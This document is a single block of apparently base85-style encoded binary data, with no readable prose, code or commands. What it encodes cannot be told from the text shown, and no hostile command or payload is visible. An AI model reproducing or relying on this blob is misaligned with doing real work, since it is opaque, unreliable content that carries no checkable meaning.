zZ!z4ub*o`xD6)oJXIyu!uiFaWtivxPDk{B`4y*SkqS zWe^;>|6cAatvTehW4C}!y;lnuJ(#P?Sar55rw)bMX(%5WE-^y$pWAWCgJvfkltZKy zruFKEq9yZ7lfqI#FC<*Vy;u0zt>IU6#_gV0OrV-4mZ4J!Jv?zHj(m4TCm32v7vBMiD|HcKu-47)$-F7qkp*B{08X9q2J6!i-?|g&Uz$ z;5m#f@(A`WOH4NqjGBB{zH`=Kq@~d+%I7AFCFc2t*LFV1^>8f9XxFXL8E?3|W~BJm zq%3^F5L97I0R3o7RBtO@@L-tIEr~p~)Q1hkRhf4C4=)a<2V+b8kAs|ImWVg;YMA;V zCAN1+%!V9Y7MyJ1vI^|X`@oyQ>4ANGq#Ya_=!{KFVq;@f93AfhZ~mEv#_5MX>*jzS zx+dewGd@0U@96jgu=U^a^3eAp#b{e+L8}k$-+$He{_L-|wz$N^-+D4r&)nU`p$%JM zAlg<~*>d4gd{$O;kK=7%n+^^d-qlOX*TXAv?m#3Z9z8;FALQrXdH(GkcG$$&_(PAQ z#0AH>xj8^Ij0N4;G)>O(o%Rp^^G6rKf-o%`t=XZyKsE`@&d&O+A!7*tph=HOtVvz7w6aMb*Zi$`rg98`>=HpXc&XF2? zFvpL>eu;=Uq}sknm2|$GrxC-jAg^;6tcdX?O24VIKRTc&Q0C*q_^xj86c#A&_TXR+BhCaP$MNr zvS_x0GYJ2TJ%0ktSlsQVKrqo*w0SBb+f<|58yHA%5$IZlwt71q*b>v7(3T$fXJ1~;& zqPb0UtIvL^5QM0uD*Mv^~PUJpmTfw(XlBv6w#5SuOALtEPo$*Uvm*lGive>%ro1-d#}$ztt!?MC>`q8Q5iqrmn4TvZ07?2EBN+D{xB zk~!M2*4f>i2Sg|lv()a@k+Kp5!l5nl`uzO-*VI(!6i0mt_!wH!7I>pD+1GcGomIoq zFU639aom^xEhz3(gYP`&3u`K0D?rgX2 z{hbEF+;PvJO=vNzQEk*MB=lfSV=z)p(=fF_%Wa{5!0feZtbqdX=F@X&woq)iR8ucD z14#w@XOA5OY>yn4j@b+xl>?J*N2)yIR)~F3HntvU#r_@axeD$nmjNN+WL{4Fp)@g> zPw{=SC+k!m)h^ZaMXUzNjCa;Ul893XF|#!c@#INk<(L+k#65RCqzpe2i^a=z(Ha-W z)-l%UtNmG{zXGWZ{1d z4qRAah_dqX-khHOdVb&K+vep;)b!)Um*n;FNv|P29wk`Hj~|bU=wpz8u6%B7t^4%p zspUdtF%Z^TXvo@|qNApEc6+Js%~ZX2Sn9b4ot>Qu+kYf79=pHS;D-;-*nsy3gJJiF z;v|>0_HpfCu;`@Mi{QUCQ2u*H>FM!+Uo5(QeZy(2JX0ljvxRXo`1nxR67?yRk?k@+ ze_z6VqmIr_@dSB1v3^?xOHXERwTUNM{?IvtV!nIh=hkWKnTqaM@PYY*0dut{WiS1M zSA!CjsjMP+9w&+|JkOPBzU70g34=-@4CG}4zx{@LUL|TZPqN9>)?@y*#eOAKQmUx$ zakAMUmC8^Wq@bm$8n45TUaRdVdHas;zTpPWK)tQoJRFF-^TNuE=o3uZ^%=#@=nhT8 z-iY`@4J-*zKA3kCAL{ot2}xRuCba4`z{uDnG8@?vqE~;ExptjXb8P6KWqW<*;y$G9EvLKzGyOzBn~(w~qv> zOg0f-MDOtoj;Sm+ zgBwF~$^u#eMXddV&iszsrE#fA7%k!b{4KnYgK{&GKP-^%tFnPX`1_HWIrh8-EBb;U zw)?I?$VexJ-u+-{#SLG0bPb&`Iyxf01mcgA4ZNACoF$oLHpr$dG*gm%tT&ET6@|}Z zxRY@<^{=+|7Z27{dxuBlH&S;Nj9v6?_BkRxI)JWr(d6xL*|V6z-V*L?&*6GwkGzo` zU7OR~(!_66`zRd{A-k8NT{>wk2ci73q3G$w9e~9fWAYl55VA(?>;4h`MyJKk zb!kWQE0>$Lq)NQ0T}*@2E+ko9d+c^YHSEHx`Ht90w^kNFAk!N76HzEhzQA?y*LHTD z5^4zzBOiZcNh&I40v3ud_`v<=&!4qq9E6FP*$yyAO2i`B$3X|RqvTKqmRsWDu}tiD zFJ8X<)XC`{Gl%d)=xkh0&JEYP1rETIXxQ1^25in^tOnn|`ObKh%S2Ldru<1JD|-!B z>wX&u*aQKkTwHt)dqC2WcAZ@Iv;kg#-TL3kXX@%6l!fGzEX?viUL9pIo$37f*MRxt zQ4Y!g#_QU!rLG>$Q(|)r+)=_~UK3aC(!DW->Fny7rLG~z%3FX3u1wS*N7?8d|D?2Z z#NIyfVnc;`7q}!p#opH7BInJPAMXc>C>%~~75(|R_*y{>3eT&r#}z4sJ^G6QUe+?c zNm*Q6Jo1|Od*FiCH50OKGw)23j}$bbd4M!Q8OJ1;2+ZEG+gyYx%%F?B!iGjClY4RMqbsmC$n+F3g8< z(;c?ZQACf`HBI86PU>Rms8~~%7IwkS3CP;6PY6Vtjr3zP6GuZrJo0VoEGl!JP3zT{ zlzbk+yDV%DuzP)p%z5MM?;N^nW|IAS>&@8=#fc|_Gk&+^!-V#p|3LB!2aJ-^KqmYO z)-755tnMS5^k>d8yzd-C1#zLLTsIfiMAirxz|4L7QWnNGOfK3x9MJalcKTzvqCAb7 zw_&_jPaSrirUZ8{4^;{A-p0vN0249z!vpv6H|LU(llE%jxCC-u{s47QH2E81xtn}P1wXG5YO5)?dp`_g?e(f zEY=E{K^O5dE=oaAF6$-CTQfG?L%Qi|7j7WB`PJUe&d#oyF75Ic3zr83z9XOqO!QG4;?5-`3yckhCi8iS96nq2#1_?7jaJfUM^Vv4*j5e68w z%@H%uB|biVz;&K%Fu-VRmX(K`W;_|Zi;GB%@=-0`yX16Cflji=LZaD;U;&PG{QSs_ zPM_+G7mQCxcm`}fpTm)ACGXWMWoAf6z?xm)Q!wYA$xsYTf?_FQ7FCWftgM)ud3`5U zfbXrMqJkqY9v1tpDj%U@ih|{j5}cVttG7v`GBAQ29U6^3QC3QDs?!oDJ9{f>q1y^Z z2b*c8mwx;A32=R;ocCaKQEqOC4aUb=`PRPz{cKGsSox~Kz zR}ip>pFW)%MS=_*9Sh0Cr@U9nTrOX_)KYGPNs;$0C)=s%1dY|rS~E1~y0oHOL~b0r z8=>>dx4fK6Om4^q5)PVv+;vgb=+%UI4)-?L=qbn@oPSJ$e&v$HUp4e%piLZnKI)UY z%rW_8-?in;*~hNuhv(czyY$ki8j}&da`OT8O>LjG_Z_7U92G9qox04}jBa|*rX1qq zax2?;?+Ho3u>tb7tK{Vl!P%COtYb@@+RANJn!26fvu= z(Y&GEhm0{>_+!M(oCDs_3}mpDbA!C0{Kuq~;o`8|MU2hso_d7v!Hf>}{-myu4&8u_ z{HvCqD`^tKlyz=gm}RF;W%Mx(??L8O(DpJGe2Qp!8A6cX1NOe5N zIEz|eWg)aqcoddr88lg|rbvA_ra8%G z2i1j1tAzZ$h1;f#eLTQxbj!l#&%i~A+RvZoOhVTy3i2b5g(+VY(Ae_ifl?D8FnD!- zuEx@$`Ze$Ip_8mejLH3pn%Rzl2T3r?CzM<}9z=0|;o=2&fR_n154L^IZO8oT@!r7L z1-*5RCr{qlJ&gEB4O5@aI93kuYKrWQ<@Fk~s-s9km{z&doQ4V$A^cNK{K7DcO~ro% z++bed75VNiz}hHV-dDbBVwyQin>7rxy;R0B9banSN4i5Pgc9k#dS&( zmU^t%{@}s5wPD*a9F?&#C07X{s$h?N6x*YZH7U905egUj_kD!? z))_HtD>NY$VcKWz)CUv;OSiPF0CjLjjp+<$B#^_r#Lc}nruyeh(}idF&1@hE3q-qq zK>T5YHQP57kdR>4it{_7EG0U}vkndpo?~ToT>O)2X=`C|JvI~bZAy*uH7o8ErAKCW zU3P(LfM?7TzH_$x*NYqK?1!OasI<)~>en(=RVC7|Am zRfdY20U;Nxk|o~sKHBa%j=P3WKXF(gfkrF*p0XUw86}XHqZ7m-k*>DrDO#$Z!TCe# zv+cfPShRie{v5pK;zhb5gX~v}=|u5>`5WbptLN`bHOBouC4eDI>`fH_OF*ZuJMZ4K zY1_ZNcIPR%Pfbc*Vu;Z9DaXOx`?&`X#}2{g-mGz(W5K6G8QV732*02ft;b?ln%9C~L?4 zB4^S%tSY0!kKF`SLJ$?^!o%4vGf}=r?J1Bj@f?srU4!%|lWLjW%dI;HNKCx*Nzca~6UE4BePK7*i>#T75_Y^1~ zI^%6W2OY*$nkO_xQI&sgc&oDWlqCKMq@SUvgcvhqEPjlK7st>p-rs2I_xX?;34bEW zTy5iW?cmh>ce&23p)Mh-g!IB~9hEq1{vv~CJ|9-&-N@g^#c$vr-P@(a&Z>`%O21@@ zEs9>QMtoB7U$V3?aJ;kEu<6(A19QIr}NG9llnV`VKm7~gMUTzBa$`58JWRj9E*4y3Y;;mQBbv76Grd!Owt!{9EB5sM&9y{1@fT3G6p^FbjQ7Wy$AC zyYl(4vT(OPm$AVbGnsnz@mh&pa5=Z^hY2HfkNLk$V8~iAb?XWqifcKXGy2c%qj-Mi z#s6oC+XS+{R8cyLz0Clgz$+_#oJ$6?+g*7T1P^X~ZOF!fk^a-lRlPme zOlNLKhq+OkdJoq1xL;pPxUa`u>xR#@J$&SRgH6976Wf^A398Z(!jF$;g%57bl;+c; zAl&M}g`Wt#dK1ruv{V`UEA8a<$Flyl#~0OZ7nWVWHWr@%3Ey7ooLlzy=cGKfs@*J^ zeD_Y_ns>pW&WLze6V5+!E`OmX!<)Il>98l%v}w=FQe^3cjM0O+rX+R{YQ9KJw#()o zKCi9uf0pDI`idtvE?U1XHu!6b|9z;VZa5wK0Kd=yd9ScCint?MRT?bJ+W@-3TcwsQq_FA!bF{+p zw#IFZfZoJ3iHkhz;?#&o=3g0kU%nXK2jgB3%JG{_ET~kJLRMFqSXf6<_9Vp>IvqMQ z7XIc9epa{rWhP;Ba}(6Z6uzli;YUwJ@8BEz%L1?5L|9dM8pzV6SFgu)kMk@HAC8TV zZq3CMt?-vUTYr~hinu1(d`VnvBKVpP-TI_WZ_USaiVwk2yPIreW!3k&6ujVJ`DtZ@ z#e2o-`E#MmbAeUF8S&LM?)jj*W`F+W2|A5Dc$bx|asQC*=fua$Q)qU~9^ajZH{RX+ zT=^DHIgR$->Y0=2SyYg?ixgNXK zzNc2P@W}aOKqI8L^iE!@xh5YiP?+W|F-ZCZ= ziF>(RsI$~|+uo?W@JGHa?SHH)61de_9G)~~6_UEr>;y%Y{-)m%M$E5$U3Kj5>Ey!wzg*a=!M9&&O!vHq)b@|^k$*{R7SaMYe;MRxpNg2rNt>GAFcMQo!H;3 zuFAr8&gkh~zHw=?kVPegUR&9{VULqeE&O9xf3A(yq6qavAJ($F<#ziD?ta{82x6X8 zA5`cH?T^ctLsq9x18MW$W2jCuYO1YH5Ebhb5uY@+FUM-I)SWKhxVLwJ-coEXjp^Jo z(OJrINZ_Z3ZypX7?u`fRvRD%OezcWAheZhT{7uXV`Cwnl5m=m#K`QLSa?PFXYW`+H#4H;oC}-Q=Z~4btc2YDp9tZouCn(I-h>QU z#lA=11_f|Cw%x4%FUZSf9su|Cr89d2vPwV+$GQ`aOq*4Rkhfcg?8BH`} zXz}hc`o`Es&L`_CDz7U)UCHvmSt7g$uZ_rg8DY4XM8ZN)uG3kq_x04Oj1u|oaz(~* z!ym~A`JfyxU)jcb-OgiQbF9t9Kcqa8~pZT-D8XnV81oE9mNNr^@cD&bVpbpm6R8rYn?WoD^F* zaYzg1KL*z1&S)UPugDx`3 zS*T>*>0-oLxeqn1V3*d+8tWe5VRJ2?Yrrd?THKev2p#iyah_=p>apat?kcI```aYA zRjHV8G`pTR)|Dl~!5kH(ccwZHY8rK@hg=}Z@A2Fami)k(rD?ZV6;Gj6#diidURJDE z+k(57j0PKjZ@GzLW_Hkg{e6;^9l8WON8DkSFzMYrLSp06mifx9P6+mBIz^#&S$^|= ze(|=(oz4Bwy@xbP`0~Z+Bp{M2v%Mx@LSBwZ;vUXRLZ%b3r3>I;W5lQi2$b1t#+WL4 zxZS_%TsQ1$DCrV;5U{sM}E)&GeU8gNZR+t zSz-1!x=XInF#~dKX7IP0uRS)<1A&m-dO|dXxi$X!b6Vc7agv5vXUj$`;ltS~>>N35 zYbD;RB-acySTTk_dS!1#pf_K>RlAf<{k1Z*`ODL7?{IS_@8Wg(D$x6Gxl|pwoA?JE zGH0_4C+F7=aT0Hs&H`!+c-51v_j*>B7@?UMCob7n7luiIy!^?nc zIbJ{%Li@^55QsPMrE8vOx=VM=83QRmhi=?2FQ=x;ez9$8k7lU<9&8*7uk9<_ZcJ!A9j)(X#fh(VL3j*ZRf zm#@4BI9U0VdarIZR+`UGpkA5%GDPKmXw?w@9q zt?HsrYv|v&=}s~h5yPgn0=U^DvP=XuSi6y<7^$o?HO_G7j!zQr%xBI;!}=l~rq5L@ z9{G)`ekr)G+NIX#^kfWx#C-x1+zBK*#7)@xGKjrnnb9&Jgl#esPN*lDOua3^;r~!P zzI2+QZ<-umUqN*P$U$^Tq$gG$G~zKEAtnnzhu$>I4Xo_0&q4jL6($AXZU1}K#HsxV zwB3e``lvBVN(~}iAWCJA9j6PdEE(Sk)TT_7A4T^KiST4jgoq8crtGdopQ!;46Y$?A zbptKu*3!w^Z}~fHP6;U|DuWK$_=2y!C6&!L{M$qoyiv|+fjs1oKbA`e z0;iiYkz9XfK49wu6)3Lq#U?^`r_-MjQswvpNG3=7fAJKj@tR4Q4F-Rk3PY?}j3^4q ztsS%6{b_ab#ai}*=nkZ{?NGf>^Qn-KHtJnP@rW@z<D zk%CZuF2m5ulEgGn4A(-S>QWib-EWapKDv{Iltwaa=rAc=DN>U*-TpwNV@EPWuKWS}G^4wV0ZjN@h-H#7y2eFaVf0N}5&vAO;L zrlOlB+4+1r`4JE{Zt5&%*oJyp$PBk2!b$}a(w~gg-|T-%lscOM27A3-3weLD^()u3 zeS7CI{Y9?7pRMW}nBT~k`pSaO@}UB*X=6EgkEYD(Z#xB*hEL^;6sfnl@u2&tK#i2X2?BbQbUCx1eLe4HOif_2N&#^HN@#Pdy zrOE~IzZD3~lvnCM!%mwT}N94P$a^Go+jd5iwpmRT)( z0}1%5H|ghIWO2BXd2y8*zPJpiJ~tO3Lk^zy9P&w_anh*Ozn>*aFGJ2owRl83eU$p< zT&-xZzNO;ZMCO7%0TTyirv(|VF`QnhNA9jcL_k~96_>VjB0uLLogaWyn$lw_gMPI11q%m& zo!Z?|EBb44UiSb@Uq93e)K$EUk0>3rQwk0N(Be9G{nIa%@u$BVl$~0)roeA%^p0|` zdbAIKY;>k`(;pA{J?+NiO$0mJ5euFvB&=lhqy)g(HvI>!iS$ZGbIx}#&+MP2=-}^< zsJZc_B)KRFBQ-B8?ENL0Z%%VsOL$z&LpHo;JX${vf-MmH^cM?)55l)w*Zg|K$%Y9_TBvm3^`Q>%6E^A>>gh8=rx`2#dATQGluB)A5rMl z%8%PheWhHz=UTKrKn^ES})cTb$QCJI`4 zuAcM0%U+(CEEc?AeB}29NdJ7D zXtVB|34v#F|LWVBU*WP1UJ90!8c+3uo}a?_cv$qhl+Nk}KJg7;03i2iU1||zjmw#R z_zT^_Rn2l&kEs>r?9%-*tBbpCJ=E8lCM!>M;>v3+YMujEF$W!4??B$+{pMH-_0kuw zRKkH0r$4DvFjd-x3xLsd)1{+GBoCk%Ltk86{IWAn-~`zMNW-t0nLYVh@xZ|wN=nle zV!#@^c(79(YP&r%X2X{!A8A@Z@A0Ov8?Mpf0x+(l)*ET zK>WMbx^Q@l2(oF7&`O7cP(ZHVMrckbJuQCIG-P9J=M+Z-O{(ddTqG5qXK`M-|(<&d{{crQ;Z7(Y-52iR&D5j^GwKR?i=*-JU{FcE6t%?jRnI!0JAj zMX6b|F7Jw9Iv5~!5M)(0?3@>xlmhd`RhaHHpbp@RUCHkIJ*9-?TA~W3*B4*T5ibT= zxZe)|RzPkVKpbq;H2^di-W3xOF+{Ee%F;kOT2)*7%d2!CnH?J+uWD(@1yI7bm6fyq zhxOIc(i$M=1^r1#NT~23Sn2_w-uuwd`@+J*r2hcBr=MF`l<1|BuR;k!mp?5dfr)x- z$F#XQ4HCoJhby^!zjEQa>og){dFJIbA^S-?9e0g&_1B5|1O74f-n$j|alZrM>3fRJ zl{a%2Tb-q;VIR7N_J`9ydit|fsPXamt_-sZKc=}((;%aM{SWxize7zQBsAy6tkQB% zpE?EG6X3+nrbD-K7B=pVtwo#!N`>3ImTPRTUFq=5Bzz2b*ae5W)f`GRy)ElJIbU|z zzYdXm;+(^bNM!zJ*vlxf-=KN0l+i>2b@esG_U+4_t|HF8Kwi6r|jzNLBl3KWj7Y3n-|F8m8GQx`9VGq#pbRD*vLFle4iJCS;e+Xz?2(sHmAH5+jaPeT(J}*CB z$|DQK69IE6Ot{g9{(k7x{yn9~8rP<%Z3l}$2ZqobhS;whMI`LQ zwiIh3ph55c1G}0AKB$y4`Kt?*c%{>O9;QUa#1u6&SV#OwN=N|glODj^0yz7BxNHD{ zb>U9@Z`2jA>lQ!knSj#qS~-SQmv&#svq>7@nxku`10qh~5gwlPO5x`Ht+~qaw^y!S zO%*~B(cvbnwoG*uKB~r3gx${x zF~+={su1d2y`-aYzxn=;vgr$DC9*%(Mr9TPx1lTjse5+iH|~E|{1>vM%v%qCc|+?J z!C!gtyz9oxcqqe#SdfK$K@c^?a6H+4CH+>@y<{ytDg5lTM$wD>H0r!gFNF_oqH`Co z2991Yy<{$B0*{c#f1|d+YOo&Pz`(&YBQtENfYH2JHgr>*R+>bs0UDL=2t1nWPcihx zra?vVZ?RmdCfg##oac71KL3nC`n*_iyco#!VKP>hB*Y(f+XU{39WY}90o@XPN`;!0 zp1^G%U|PQMR2$iw?IsT2|1t3g%XP_Es$*efxFF`X6fk2nV8(VFV0*jNqRmF$Y%#1D zVfF!t$Ozy+XA;6cFOOHdq^mTYkfXSl!m_gC&JUfd#!p~(pmWb|y1`#JTZ#7_fZre@ zzXWL$fp!J@b1b{iQZp?rCIBFIoUC;RnEFTH;d=;u34mD9&3GIOY*vI40JQ#RNA;6Z zZe!F5J!5LF0-uYUM}MKfttO*x-|7ZkCZG(A)dMRU}073JQPLF%)wlC zfA`kE%KMh3VYUXl72Fi}zbwXVO#{%zy)Of>OEMYa1Q%_4eO}|4?>5hT;M)$uk2QSK zRm-lSyhL$Vu2-krsylH%q9_lF`=u2Z>8KYvcR`P6T})}WF#&`gGql>!q9!s3Q6PlB zRJXf0r!IdBB?_|v-&=~PE{nB+rg;v78Qn+s%R~w_Poj&(vcopuM6>S0E@hXkc{`E= zH^!f(!a^vNus8&6k^oOSX`C65X_7@n9>4`rfrteF0oDV^^XSeYTfimf)Yhha_;99Q zFW43ft21@{KNwGyxsTtzeS1&YUOHhW0LBVkGW>r5olO6gbI6uzDo6474>_ymkEQ#d z7sswK`HXsiTXGc<^gbodd?Ff)k+^TpD3veAmW?$&&wLu45BeW4xNNBkG2VC;IhiK4 zl+y!w-xCW$T7I4n7~){FuF%SE~RFskl$-QjBcnCbd`xLT^57(d5 z*NGd1W}syU*DT8pHzv`r$K~kBBUjXK{vLnl&iJGBZz|2bqY=2Y0t7- zrY1ez$Gbq}Ni!BsqXSf4gyFNchH1_PMa=(>FamLoK#oG~1Ay~7%gh1r!&(5b-mX~| z^ZQt|hfjZvZ&4-Mt-7Qb*&1aJ-Q6WX$y3DgDTi9?#1 zNgyfN5ogbQGky3b&?IFF(;5I~dtDwC$UmNJ%-`Nqr!NzMoKm=lE%k;xFcG;Q$|Q*| z9`WGp(r^hvH?Tp1c5xYLw;S&n%3dte-1tZyIm!cj=8yet%D7#3v=2xGUuZB49W0A7 zjp?mPfi+5N1PCOoIgm_THV@6&g_pXeEGq6@;tTi5Pk~tk?h5Rl5&}FzqAvDM@@DPg zSUS`_`arI$jw}!ljlNKZwT@~vL+gO#g{44;XX{`ABgMl|;XbTk5r4jio=mlKB z1bvKsA+PqH<|zwvfhm3!KnAeaEi{}ijFnd#pyW_4 zZPC0sdU`A;Y*AU{iQ*l6p8U5qfOLFlVt-dtdP8@pP)fsCO?z8W)x*0{mQaK{ddRhKXM}DJ5 zUx+t`OW_l$KOwU!(vU+8fWiNCK`8Vr2qrRe%Z<-)%Dv;TnGs~BUp^fRB$3<>ZHmHD zPg`PD1IY`imjVb0tJJ3abrt-}QX=F?mc~&fR+F5B)HK2DjlA6rj-&)pR{t%RZY@Ge zZvI%i)kue>NL8Q!U{4*iNgf1B0T^_- z05GcQ#z1yHz75~&CsB%DJ01}5gipU#&~xQIh_)!xTUCxCnK7dbX9J?F5G-=m;HjKn zAi^yVA;|S)Y=l(95%_8hc0NK{BP>eE5kGq?4l<}8Yc248p;y^VBo(fU^?1)pXp?#7 zV*`okvm}6yz;?kt1?~mz{Qsnu0!MrVF0a+JDI=`UiFlMzz~SN)phm^jX+rz#IX_k) zmL07E*m>V$Ym^$$mDUq$1LSguLa`S3-H&jC3JdvLkv)h7qCC(SLd1S~bNtg8+P+kU zTnv0G!|!Eoo|1nM9Ptq7%mB>z@A#+_S@LqGZYk@u8>M`gkCm&<|z;!TWHPj2gi{nZ)MF96qkq*F&rSO0Dk!{mv9>>(BxO zgeeCa`g=+!kg;`nX_xnY1kOX>SI zZH5|`(FlNp*oE!PbaM7&nOfLortRo_qApDx+)wXarohNCIBkP7iYL zs>=@W)6`V-XBXI2ltjZAME*VsTB8*x&P3 z31L1v%JE3auanANm&9tY4UBcie!a=*oq&G*Z&hp0iROnK4vw2~G3;RHeo{89GHy3T zdjS7$LPtgZXxSbb4Bzn{Nxj_&bOCLqO~|PEEX+N@@|D8`q-a3JCMx!oM$;(eha|;g zbx>nVg)`PTW+;?+>#%@|tx1pYF)NSwpDe#x9YkDtYCNN!Y~o@I47tp}bF?enaAb@m zUYG{$+M7yd?4iO;bVRer!uT_f4O`Q6r9h1qoBx1nCG0Rq?dd6_)oWguEk!J&`H~QB zSqQ@B%|+N~$Hc7uw`lBz1oV{rE5WSl)r(3gvsi9uL=O}9&Ik#X7A^waQoG)iQlK@s z%=j4Pq=8kHS7hO`34Ugn)muu;=7SaF?odjli55DiAJ<4G`C9B-ko=X_b;1Vp6u=s5%aqSiZkg9!hqt<>v!$*Vz@Qq_q zEvr+BTqWN7iyg?qMoQ`Et(v7G0tw`vwyviccfed-8auBUHeiOH0?Kw(L=~M4w0(bE zA;EFV>&TL%HUS@qdto;W1cHCCrS8jxg@qggK2=G7ES1XdVpQiMh)?ILOliqYTz86& z*2k0Ypz-$)2NH-iuK$a#w+@SP{o;N>6f8hQx)fAY1QevCRYXNWq;m)XVd!oY6chxc zrAtL}KspCRx+R7lkdn@!2hJMZd;i{Z-s?Jl?0tCwGxN;z-1oXyeAj1%9*zhj3$fdC znS)D%#c~f^(IU4xCm$JZ_IiHW9W5O0XjhnMih`r}P}KZe3tq1K$z_Yp4y{c5&#%yb zXnVLeVkMFtS9}Wb%wu-g-D=NDaFGYAF!GCJ>|xmDcQ`cRYrde}2+?Z#6ta)0e}EEN zWM*(o8M6m*_ z1^%)Yt4R?jrw)GULd)ue+sii1HEFI8oqSakFtxYM3|~i*ZgFj2XEHIsa@9|d;6h4``P;c3SDnexQzQ-EtywwN=U5*9 zl4xogFcu@04F-9g&^g{|j2+ozExaUEIZKDwrt%YZK}{`ZmcIO zuQ4Pq@!8N~y|iBjO9M(*A%D}ll2>5lG`>sc;8^$E)=Q1~_LlCgdWG!XdA+{+`N<`0 z?~a)oet+gm@8-ss){#lCP140**jE~{d#OT)&oE2v3OnV$%i>CPMob@`eo3&M);8Ai zBx5aQvz})K)0%bsu!DZe*^RNAA0CCWlZeCfXU9(EVI*s=+ zWYQ4NzHR z3(ao9>mP{%js?^i2wM?ear|hTTmXugpjmj8RN6^t+@{I57n)CT1GS2qcI&CiCXQTK zBk^ElVmfhxBE>_LEBnZiA7g5S7kbl5{qwD7Qz#rGq(94A*d(vE6_dXvmlxvedwKAUuW-8z;Z;X!j>-P}vR{|KaRJ;U0~#hFBwWRX=tMDM7$17x@O!&^ zlJN99zrFpV>^aV(0c$!y=_2O$#AK!>L--s=C26+U?Yk)0yOG++@--gizru@GNk&xv z+>3A9<>0+;R@7q<7Vnwm<}&Gf8d1(iKmYmG+(G|YOtvNgWZDB1rRKXH*Y26}%O&aQ z4_!n;{`{GD3mMqW&t3OC`GZKEa66)|`!+6!WStO1jl=!!gY%$P zNY=Y|4c-ubtx5ZzoP;sYp_H_LK~%<7`WgE-a8P0p7znfjCel0nt@{42KQG(FFqaBU zm#?!R-70tH+`NpiE~0kN)q1CUuAYS)G~sc}{CB6Ep~k1nVZI4TOowetLiY8-T4uM| z>w$ASDwv~$`Z1UljsGs06`B>hL-QSreYb`S_8M~;PyAUw@VL}LJ^KUkXD#keifs+s z5kWt44EJUExVM0p_&>z4%|3{77CEVxN*Uxq9xEgPr(WP!weMDrevRF{{Olg*f}<#L z8Qx5jVL?zpfa=T{DJ3OpXn%nAyScfJpQ*@CE>VBKGS7MTBZRNxEk}3vIYva_J{(RW zXU#`TDX(;YE^N#(eUj_ah7zIq`-uLxoGzA6%y!Ur#~|`It1kCfI4wVLG&+-=HS3^B zVy?M9?@XCn7XSZQ0Zj%U>lb81WjuAZ4^pzH1Y}%$@udMrGp7hUA4(*)GyGV)0T#p# zu5>+mxvkvP@xL23rxb?^(W?|B95+qHPP5Xrzirk`dPaPEM#be3*(63@IUMNrW#T^e z8ci2?vyzXdDLK>U8Zz3SniMIw_gQDno$ED;4S!FXK|VcGomW}>boWi3esi0?0Wf#b2!SU3#%+SYTz4MD=O8cY}`5f zvu|ZVRgI+FRia(`|3rTsi%2ok5s{XATKvn+p!?**?G{1D=qGgl?H}!&ow`pD^UJ8+ z>f^VOqoOp|Y9P__r$=vl!Cc&?2tWJCn*%ekH6q8X%zfvV?_G&O)Wa|1{aS_N-;(IX1md`3;QdHA?^}_chr{B zW}I;vc9B}w6n1E(ab)Y~Osv=rMe2U?n$<8$#rj_x#UeN3|F>Z@p(sARh6{Y+?)5En zIYVJ(r0J0(i)elH$W+gq1Vngi^yvaQ#I(x<(<-Sjs7|6cadYjlVY*JDN-n%3lVK6U zTqp0130AWDCU@E^P$=KLTKV#omqyzLjjT0|QZ{O^VV>8$r5c?z9j!oFdOcOq;q{hX zpY2Rfg!b0=%cEGg`bjo}@uAGprB_xvxS?2$RC&W3coB-lfaGbF8C|z7mwslZ*vkx( z{rPzA>nfyrTI+o`xlP#09~G~?w~gx#@a(~y?8!aob{G~Zd?|_;YTk`8tT-IJt&2^f z$YQ#}J9ynn5~uaWqeKBCKPuv$k`T+^m-qRxq_b1ow0PQs9VC@(=0?cUdV^Tqz)*u# z#%7*1r}p}u?y#Z7B%VgL_0r`0-eB?jxLxjU3Gs{nIAQi73y#+<`!-yAt4Q_4$yLdb zFQxfVI|8QbF$B9&a_+7CZ0k`Z_u>8>$(LL+2$#TnY4#UoqUL!Uid5D;6$RFE=TCDP zd(`F*a9*)u`(7xnKRd7W)}!pltrgL_f(W*9QjKG&|n^IAQh$O$vnGKBv>j>`*q zqo6B2Lou^%=ZoCv(yrdg&7 zRaQ)Msu6#sug7_Gt`ifNJwP3%EBx-G6-~||R%LGi13u#Rsx2K1nf6(A-ihF=ugteM z$SeYlMvBSQm6=+5wDy^Dou6A>oy}a(USEm0?q(}&$6D&Yth*o;YvJcyS3tV6DSLkn zE9=WYGoWZLe`(0%VQ+huzh-CD83D?_{Y z^L7F=op*DNPCuu-P`<2@;Nc}{UlQlXHv3)gyzBGRcC7CVUuKHg#a}C|so0+DZFPGt zeCWZEAX!wLZ{K@iV5lsXvuIox!-+EPt<1iP5j+T?;cEY$wB&xvg(%&SEPtWbc@(c> zGALrU@@RNU|GKm78S3HF-squK4r<-eMsH3sDkqnZ1D3RKLve@m?Sn3ko>w_owPm(! z5Mdi**Afu9VOxpoCVcxg5(g<1qz>$#1x_l_(bABs$z@i@b>Ym82hN9=Tbrk{iE$EyqjFdu4&{KQjyAprWAU-{eR!O zd!9O!60s?wBIMqe!fU>r`n2-k`XW2|p3@eqp2G)of+u6$)Oo>IlKdH~uS#Knm*r`_ z@9~xUtnXbWuS=a-)STzP`*w+lMslw2izdm9AMrzET_?VN&FGzJE~ttVu{!;{y^wf8 z*CrhM++7x$wyr6~E%p#|2FJ5o8Afal&<;kr-G7~k88k+fh+(8E&$})}xJPwGUl2%h z#xJsHdmto8MxNj{zmHXoSA-=rdUOkYb4Ah|iSU~HGcoAyjpB=r?<{% z|JqG&x^9DaffS!Hm0WKFDU5d63`%XK$VT_El)j52c@8o(Q&OV~R^hjcR_cSRGdSGc zX{#y7rCuQKO49u6sFr|O%JE4qEpcC^kh)UE;o=#D(6j>6O1({ z0>T8rPNE3TmbaXr;3sWrQl{V=7M{nL%vp9)c}@;7-*Y-eY^I*-6>8N>WlQ-zVzn%d z3zJZ@Qq~`zrhb>mqpb9ufv@9O5mu*e%?UNp=;dmy^)z0rF1qOS?8%LV`Z!r%Wa2`T z&&T!hmf7c{3jFMe^H-Ap$$nAK1~yDqvEc6eq*Qm~16G>QUe~ z!GAUGh5WjWqIl;k3Gr9iDr-K?=l*kX z)z&4u^sv4AbL=j~mxJVi{#3(wf)+n6#v_juylQRlqll5f6MeTMbIhKv^t1l>c^IC?OT<+hySu@zkgtE|U%i~wZFi+qy!QY6vsB`)#E$5w$`c#XcO|5@a z=doM1zbjIBt3>_1*4CmXPq_(Aca^vd%ab0JUM0m-i+6^ILWVu%Zs53__!ox^l@l$J zT&=E#u{F-DVR}w;0WCsD7Cx|0lyct`TcD zZoD*ne5fQL{nN?b%dw`_Hes(3%1xH^&zao) zQ?+?z_ek@%aswVzMQ6*pplL13`9pd#4Ve?eS%-~%Dk3DG%5vo}gE?bUxUm>-+ngz{ 